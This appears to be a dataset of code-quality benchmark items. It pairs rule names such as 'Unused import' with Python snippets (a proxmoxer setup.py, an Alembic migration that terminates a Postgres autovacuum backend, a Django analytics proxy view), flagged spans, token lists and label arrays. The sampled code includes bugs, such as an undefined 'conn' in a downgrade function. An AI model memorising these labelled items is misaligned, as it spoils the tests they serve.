[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "codecs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "prox", "mo", "xer", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "setuptools_", "import_", "setup_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "'", "READ", "ME", ".", "txt", "'_", ")_", "and_", "'", "sdist", "'_", "in_", "sys_", "._", "argv_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "codecs_", "._", "open_", "(_", "'", "READ", "ME", ".", "rst", "'_", ",_", "encoding_", "=_", "'", "utf", "8", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rst_", "=_", "f_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "code", "\\u", "block_", "=_", "'(", ":\\\\", "n", "\\\\", "n", ")?", "\\\\.\\\\", ".", " ", "code", "-", "block", "::", ".*'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rst_", "=_", "re_", "._", "sub_", "(_", "code", "\\u", "block_", ",_", "'::'", "_", ",_", "rst_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "codecs_", "._", "open_", "(_", "'", "READ", "ME", ".", "txt", "'_", ",_", "encoding_", "=_", "'", "utf", "8", "'_", ",_", "mode_", "=_", "'", "wb", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "write_", "(_", "rst_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "readme_", "=_", "'", "READ", "ME", ".", "txt", "'_", "if_", "os_", "._", "path_", "._", "exists_", "(_", "'", "READ", "ME", ".", "txt", "'_", ")_", "else_", "'", "READ", "ME", ".", "rst", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "long", "\\u", "description_", "=_", "codecs_", "._", "open_", "(_", "readme_", ",_", "encoding_", "=_", "'", "utf", "-", "8", "'_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "long", "\\u", "description_", "=_", "'", "Cou", "ld", " ", "not", " ", "read", " ", "READ", "ME", ".", "txt", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "setup_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "'", "prox", "mo", "xer", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "prox", "mo", "xer", "_", "._", "\\u\\u", "version\\u\\u_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "'", "Pyth", "on", " ", "Wrapper", " ", "for", " ", "the", " ", "Pro", "xm", "ox", " ", "2", ".", "x", " ", "API", " ", "(", "HTTP", " ", "and", " ", "SSH", ")'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "author_", "=_", "'", "Ol", "eg", " ", "Bu", "to", "vic", "h", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "author", "\\u", "email_", "=_", "'", "ob", "uto", "vic", "h", "@", "gma", "il", ".", "com", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "license_", "=_", "\"", "MIT", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'", "https", "://", "git", "hub", ".", "com", "/", "swa", "yf", "/", "prox", "mo", "xer", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "download", "\\u", "url_", "=_", "'", "http", "://", "pypi", ".", "python", ".", "org", "/", "pypi", "/", "prox", "mo", "xer", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "keywords_", "=_", "[_", "'", "prox", "mo", "x", "'_", ",_", "'", "api", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "packages_", "=_", "[_", "'", "prox", "mo", "xer", "'_", ",_", "'", "prox", "mo", "xer", ".", "back", "ends", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "classifiers_", "=_", "[_", "#", "http", "://", "pypi", ".", "python", ".", "org", "/", "pypi", "?", "%", "3", "Aa", "ction", "=", "list", "\\u", "classifiers_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Dev", "elo", "pme", "nt", " ", "Status", " ", "::", " ", "4", " ", "-", " ", "Beta", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Programm", "ing", " ", "Lang", "ua", "ge", " ", "::", " ", "Pyth", "on", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Programm", "ing", " ", "Lang", "ua", "ge", " ", "::", " ", "Pyth", "on", " ", "::", " ", "2", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Programm", "ing", " ", "Lang", "ua", "ge", " ", "::", " ", "Pyth", "on", " ", "::", " ", "2.7", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Programm", "ing", " ", "Lang", "ua", "ge", " ", "::", " ", "Pyth", "on", " ", "::", " ", "3", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Programm", "ing", " ", "Lang", "ua", "ge", " ", "::", " ", "Pyth", "on", " ", "::", " ", "3.4", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Inten", "ded", " ", "Audi", "ence", " ", "::", " ", "Dev", "elope", "rs", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Inten", "ded", " ", "Audi", "ence", " ", "::", " ", "System", " ", "Administra", "tors", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "License", " ", "::", " ", "OSI", " ", "Appro", "ved", " ", "::", " ", "MIT", " ", "License", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Opera", "ting", " ", "System", " ", "::", " ", "OS", " ", "Inde", "pend", "ent", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Topic", " ", "::", " ", "Sof", "twa", "re", " ", "Dev", "elo", "pme", "nt", " ", "::", " ", "Libr", "aries", " ", "::", " ", "Pyth", "on", " ", "Modul", "es", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "long", "\\u",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2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
dropbox/changes/migrations/versions/230e225657d0_add_test_owner.py
[ { "content": "\"\"\"add_test_owner\n\nRevision ID: 230e225657d0\nRevises: 290a71847cd7\nCreate Date: 2016-02-18 00:14:58.856828\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '230e225657d0'\ndown_revision = '290a71847cd7'\n\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.sql import text\nfrom sqlalchemy.dialects import postgresql\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def upgrade():\n '''The autovacuum process on postgres permanently locks the 'test' table\n so it can't be altered. We need to kill the autovacuumer, then execute our\n ALTER as part of the same SQL statement before the vacuumer gets restarted\n by postgres.'''\n # This commented code line below is the code autogenerated by alembic. It\n # represents the intention of what we're trying to do, but it's\n # insufficient due to the autovacuumer lock.\n # op.add_column('test', sa.Column('owner', sa.Text(), nullable=True))\n\n # Use the following code instead.\n # NOTE: The 'procpid' column is renamed to 'pid' in trusty-era Postgresql.\n # If we migrate to trusty and run into problems here, that's probably\n # why.\n conn = op.get_bind()\n conn.execute(text('''SELECT pg_terminate_backend(procpid)\n FROM pg_stat_activity\n WHERE current_query = 'autovacuum: VACUUM public.test (to prevent wraparound)';\n BEGIN;\n ALTER TABLE test ADD COLUMN owner TEXT;\n UPDATE alembic_version SET version_num=:revision;\n COMMIT;'''),\n revision=revision)", "metadata": "root.upgrade", "header": "['module', '___EOS___']", "index": 17 }, { "content": "def downgrade():\n '''The autovacuum process on postgres permanently locks the 'test' table\n so it can't be altered. We need to kill the autovacuumer, then execute our\n ALTER as part of the same SQL statement before the vacuumer gets restarted\n by postgres.'''\n # This commented code line below is the code autogenerated by alembic. It\n # represents the intention of what we're trying to do, but it's\n # insufficient due to the autovacuumer lock.\n # op.drop_column('test', 'owner')\n\n # Use the following code instead.\n # NOTE: The 'procpid' column is renamed to 'pid' in trusty-era Postgresql.\n # If we migrate to trusty and run into problems here, that's probably\n # why.\n conn.execute(text('''SELECT pg_terminate_backend(procpid)\n FROM pg_stat_activity\n WHERE current_query = 'autovacuum: VACUUM public.test (to prevent wraparound)';\n BEGIN;\n ALTER TABLE test DROP COLUMN owner;\n UPDATE alembic_version SET version_num=:down_revision;\n COMMIT;'''),\n down_revision=down_revision)", "metadata": "root.downgrade", "header": "['module', '___EOS___']", "index": 42 } ]
[ { "span": "import sqlalchemy as sa", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 23 }, { "span": "from sqlalchemy.dialects import postgresql", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 42 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "add", "\\u", "test\\u", "owner", "\\", "10", ";", "\\", "10", ";", "Revi", "sion", " ", "ID", ":", " ", "230", "e2", "256", "5", "7d", "0", "\\", "10", ";", "Revi", "ses", ":", " ", "290", "a7", "184", "7c", "d7", "\\", "10", ";", "Creat", "e", " ", "Date", ":", " ", "2016", "-0", "2", "-1", "8", " ", "00", ":", "14", ":", "58.", "856", "828", "\\", "10", ";", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "revis", "ion", " ", "identifi", "ers", ",", " ", "used", " ", "by", " ", "Ale", "mbic", "._", "\\u\\u\\uNL\\u\\u\\u_", "revision_", "=_", "'", "230", "e2", "256", "5", "7d", "0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "down", "\\u", "revision_", "=_", "'", "290", "a7", "184", "7c", "d7", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "alembic_", "import_", "op_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sqlalchemy_", "as_", "sa_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sqlalchemy_", "._", "sql_", "import_", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sqlalchemy_", "._", "dialect", "s_", "import_", "postgresql_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "upgrade_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "The", " ", "auto", "vacuum", " ", "process", " ", "on", " ", "postgres", " ", "permanent", "ly", " ", "lock", "s", " ", "the", " ", "'", "test", "'", " ", "table", "\\", "10", ";", " ", " ", " ", " ", "so", " ", "it", " ", "can", "'", "t", " ", "be", " ", "alter", "ed", ".", " ", "We", " ", "need", " ", "to", " ", "kill", " ", "the", " ", "auto", "vacuum", "er", ",", " ", "then", " ", "execute", " ", "our", "\\", "10", ";", " ", " ", " ", " ", "ALT", "ER", " ", "as", " ", "part", " ", "of", " ", "the", " ", "same", " ", "SQL", " ", "statem", "ent", " ", "bef", "ore", " ", "the", " ", "vacuum", "er", " ", "gets", " ", "restart", "ed", "\\", "10", ";", " ", " ", " ", " ", "by", " ", "postgres", ".'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "commente", "d", " ", "code", " ", "line", " ", "belo", "w", " ", "is", " ", "the", " ", "code", " ", "autogen", "erate", "d", " ", "by", " ", "ale", "mbic", ".", " ", "It_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "represent", "s", " ", "the", " ", "intent", "ion", " ", "of", " ", "what", " ", "we", "'", "re", " ", "try", "ing", " ", "to", " ", "do", ",", " ", "but", " ", "it", "'", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "insuf", "ficient", " ", "due", " ", "to", " ", "the", " ", "auto", "vacuum", "er", " ", "lock", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "op", ".", "add", "\\u", "column", "('", "test", "',", " ", "sa", ".", "Colum", "n", "('", "owner", "',", " ", "sa", ".", "Text", "()", ",", " ", "null", "able", "=", "Tru", "e", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Us", "e", " ", "the", " ", "follow", "ing", " ", "code", " ", "inst", "ead", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "NOTE", ":", " ", "The", " ", "'", "proc", "pid", "'", " ", "column", " ", "is", " ", "renamed", " ", "to", " ", "'", "pid", "'", " ", "in", " ", "trust", "y", "-", "era", " ", "Post", "gres", "ql", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "If", " ", "we", " ", "migr", "ate", " ", "to", " ", "trust", "y", " ", "and", " ", "run", " ", "int", "o", " ", "problem", "s", " ", "here", ",", " ", "tha", "t", "'", "s", " ", "probab", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "wh", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "conn_", "=_", "op_", "._", "get", "\\u", "bind_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conn_", "._", "execute_", "(_", "text_", "(_", "'''", "SELECT", " ", "pg", "\\u", "terminate", "\\u", "back", "end", "(", "proc", "pid", ")", "\\", "10", ";", " ", " ", " ", "FROM", " ", "pg", "\\u", "stat", "\\u", "activit", "y", "\\", "10", ";", " ", " ", " ", "WHE", "RE", " ", "current", "\\u", "query", " ", "=", " ", "'", "auto", "vacuum", ":", " ", "VA", "CU", "UM", " ", "public", ".", "test", " ", "(", "to", " ", "prevent", " ", "wrap", "aro", "und", ")'", ";", "\\", "10", ";", " ", " ", " ", "BEGIN", ";", "\\", "10", ";", " ", " ", " ", "ALT", "ER", " ", "TAB", "LE", " ", "test", " ", "ADD", " ", "COL", "UM", "N", " ", "owner", " ", "TEXT", ";", "\\", "10", ";", " ", " ", " ", "UPDATE", " ", "ale", "mbic", "\\u", "version", " ", "SET", " ", "version", "\\u", "num", "=", ":", "revis", "ion", ";", "\\", "10", ";", " ", " ", " ", "COMMIT", ";'", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "revision_", "=_", "revision_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "downgrade_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "The", " ", "auto", "vacuum", " ", "process", " ", "on", " ", "postgres", " ", "permanent", "ly", " ", "lock", "s", " ", "the", " ", "'", "test", "'", " ", "table", "\\", "10", ";", " ", " ", " ", " ", "so", " ", "it", " ", "can", "'", "t", " ", "be", " ", "alter", "ed", ".", " ", "We", " ", "need", " ", "to", " ", "kill", " ", "the", " ", "auto", "vacuum", "er", ",", " ", "then", " ", "execute", " ", "our", "\\", "10", ";", " ", " ", " ", " ", "ALT", "ER", " ", "as", " ", "part", " ", "of", " ", "the", " ", "same", " ", "SQL", " ", "statem", "ent", " ", "bef", "ore", " ", "the", " ", "vacuum", "er", " ", "gets", " ", "restart", "ed", "\\", "10", ";", " ", " ", " ", " ", "by", " ", "postgres", ".'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "commente", "d", " ", "code", " ", "line", " ", "belo", "w", " ", "is", " ", "the", " ", "code", " ", "autogen", "erate", "d", " ", "by", " ", "ale", "mbic", ".", " ", "It_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "represent", "s", " ", "the", " ", "intent", "ion", " ", "of", " ", "what", " ", "we", "'", "re", " ", "try", "ing", " ", "to", " ", "do", ",", " ", "but", " ", "it", "'", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "insuf", "ficient", " ", "due", " ", "to", " ", "the", " ", "auto", "vacuum", "er", " ", "lock", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "op", ".", "drop", "\\u", "column", "('", "test", "',", " ", "'", "owner", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Us", "e", " ", "the", " ", "follow", "ing", " ", "code", " ", "inst", "ead", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "NOTE", ":", " ", "The", " ", "'", "proc", "pid", "'", " ", "column", " ", "is", " ", "renamed", " ", "to", " ", "'", "pid", "'", " ", "in", " ", "trust", "y", "-", "era", " ", "Post", "gres", "ql", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "If", " ", "we", " ", "migr", "ate", " ", "to", " ", "trust", "y", " ", "and", " ", "run", " ", "int", "o", " ", "problem", "s", " ", "here", ",", " ", "tha", "t", "'", "s", " ", "probab", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "wh", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "conn_", "._", "execute_", "(_", "text_", "(_", "'''", "SELECT", " ", "pg", "\\u", "terminate", "\\u", "back", "end", "(", "proc", "pid", ")", "\\", "10", ";", " ", " ", " ", "FROM", " ", "pg", "\\u", "stat", "\\u", "activit", "y", "\\", "10", ";", " ", " ", " ", "WHE", "RE", " ", "current", "\\u", "query", " ", "=", " ", "'", "auto", "vacuum", ":", " ", "VA", "CU", "UM", " ", "public", ".", "test", " ", "(", "to", " ", "prevent", " ", "wrap", "aro", "und", ")'", ";", "\\", "10", ";", " ", " ", " ", "BEGIN", ";", "\\", "10", ";", " ", " ", " ", "ALT", "ER", " ", "TAB", "LE", " ", "test", " ", "DROP", " ", "COL", "UM", "N", " ", "owner", ";", "\\", "10", ";", " ", " ", " ", "UPDATE", " ", "ale", "mbic", "\\u", "version", " ", "SET", " ", "version", "\\u", "num", "=", ":", "down", "\\u", "revis", "ion", ";", "\\", "10", ";", " ", " ", " ", "COMMIT", ";'", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "down", "\\u", "revision_", "=_", "down", "\\u", "revision_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
pebble/cloudpebble/ide/api/__init__.py
[ { "content": "@login_required\n@require_POST\ndef proxy_keen(request, project_id):\n from utils.td_helper import send_td_event\n project = get_object_or_404(Project, pk=project_id)\n\n acceptable_events = {\n 'app_install_succeeded',\n 'websocket_connection_failed',\n 'app_install_failed',\n 'app_log_view',\n 'app_log_clear',\n 'app_log_download',\n 'app_logged_crash',\n 'sdk_screenshot_success',\n 'sdk_screenshot_failed',\n 'cloudpebble_created_ui_layout',\n 'cloudpebble_ib_displayed',\n 'cloudpebble_ib_created_layer',\n 'cloudpebble_android_beta_modal',\n 'cloudpebble_android_beta_download',\n 'qemu_launched',\n 'cloudpebble_timeline_displayed',\n 'sdk_pin_inserted',\n 'sdk_pin_deleted',\n 'cloudpebble_fuzzyprompt_action'\n }\n\n event = request.POST['event']\n if event not in acceptable_events:\n return json_failure(\"nope.\")\n\n data = {}\n if 'data' in request.POST:\n data['data'] = json.loads(request.POST['data'])\n\n if 'device' in request.POST:\n data['device'] = json.loads(request.POST['device'])\n\n collections = ['cloudpebble', 'sdk']\n if 'collections' in request.POST:\n collections = list(set(collections) & set(json.loads(request.POST['collections'])))\n\n if len(data.items()) == 0:\n data = None\n\n send_td_event(event, data=data, request=request, project=project)\n return json_response({})", "metadata": "root.proxy_keen", "header": "['module', '___EOS___']", "index": 24 } ]
[ { "span": "collections ", "start_line": 65, "start_column": 8, "end_line": 65, "end_column": 19 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "login", "\\u", "required_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "\\u", "POST_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "proxy", "\\u", "ke", "en_", "(_", "request_", ",_", "project", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "utils_", "._", "td", "\\u", "helper_", "import_", "send", "\\u", "td", "\\u", "event_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "project_", "=_", "get", "\\u", "object\\u", "or", "\\u", "404_", "(_", "Project_", ",_", "pk_", "=_", "project", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "acceptabl", "e\\u", "events_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "app", "\\u", "install", "\\u", "succe", "eded", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "websocket", "\\u", "connecti", "on", "\\u", "fail", "ed", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "app", "\\u", "install", "\\u", "fail", "ed", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "app", "\\u", "log", "\\u", "view", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "app", "\\u", "log", "\\u", "clear", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "app", "\\u", "log", "\\u", "download", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "app", "\\u", "logged", "\\u", "crash", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sd", "k", "\\u", "screenshot", "\\u", "success", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sd", "k", "\\u", "screenshot", "\\u", "fail", "ed", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cloud", "pe", "bble", "\\u", "created", "\\u", "ui", "\\u", "layout", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cloud", "pe", "bble", "\\u", "ib", "\\u", "displaye", "d", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cloud", "pe", "bble", "\\u", "ib", "\\u", "created", "\\u", "layer", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cloud", "pe", "bble", "\\u", "android", "\\u", "beta", "\\u", "modal", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cloud", "pe", "bble", "\\u", "android", "\\u", "beta", "\\u", "download", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qe", "mu", "\\u", "launched", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cloud", "pe", "bble", "\\u", "timeline", "\\u", "displaye", "d", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sd", "k", "\\u", "pin", "\\u", "inserted", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sd", "k", "\\u", "pin", "\\u", "delete", "d", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cloud", "pe", "bble", "\\u", "fuzz", "yp", "rom", "pt", "\\u", "action", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "event_", "=_", "request_", "._", "POST_", "[_", "'", "event", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "event_", "not_", "in_", "acceptabl", "e\\u", "events_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "json", "\\u", "failure_", "(_", "\"", "nop", "e", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "data_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "data", "'_", "in_", "request_", "._", "POST_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "[_", "'", "data", "'_", "]_", "=_", "json_", "._", "loads_", "(_", "request_", "._", "POST_", "[_", "'", "data", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "device", "'_", "in_", "request_", "._", "POST_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "[_", "'", "device", "'_", "]_", "=_", "json_", "._", "loads_", "(_", "request_", "._", "POST_", "[_", "'", "device", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "collections_", "=_", "[_", "'", "cloud", "pe", "bble", "'_", ",_", "'", "sd", "k", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "collection", "s", "'_", "in_", "request_", "._", "POST_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "collections_", "=_", "list_", "(_", "set_", "(_", "collections_", ")_", "&_", "set_", "(_", "json_", "._", 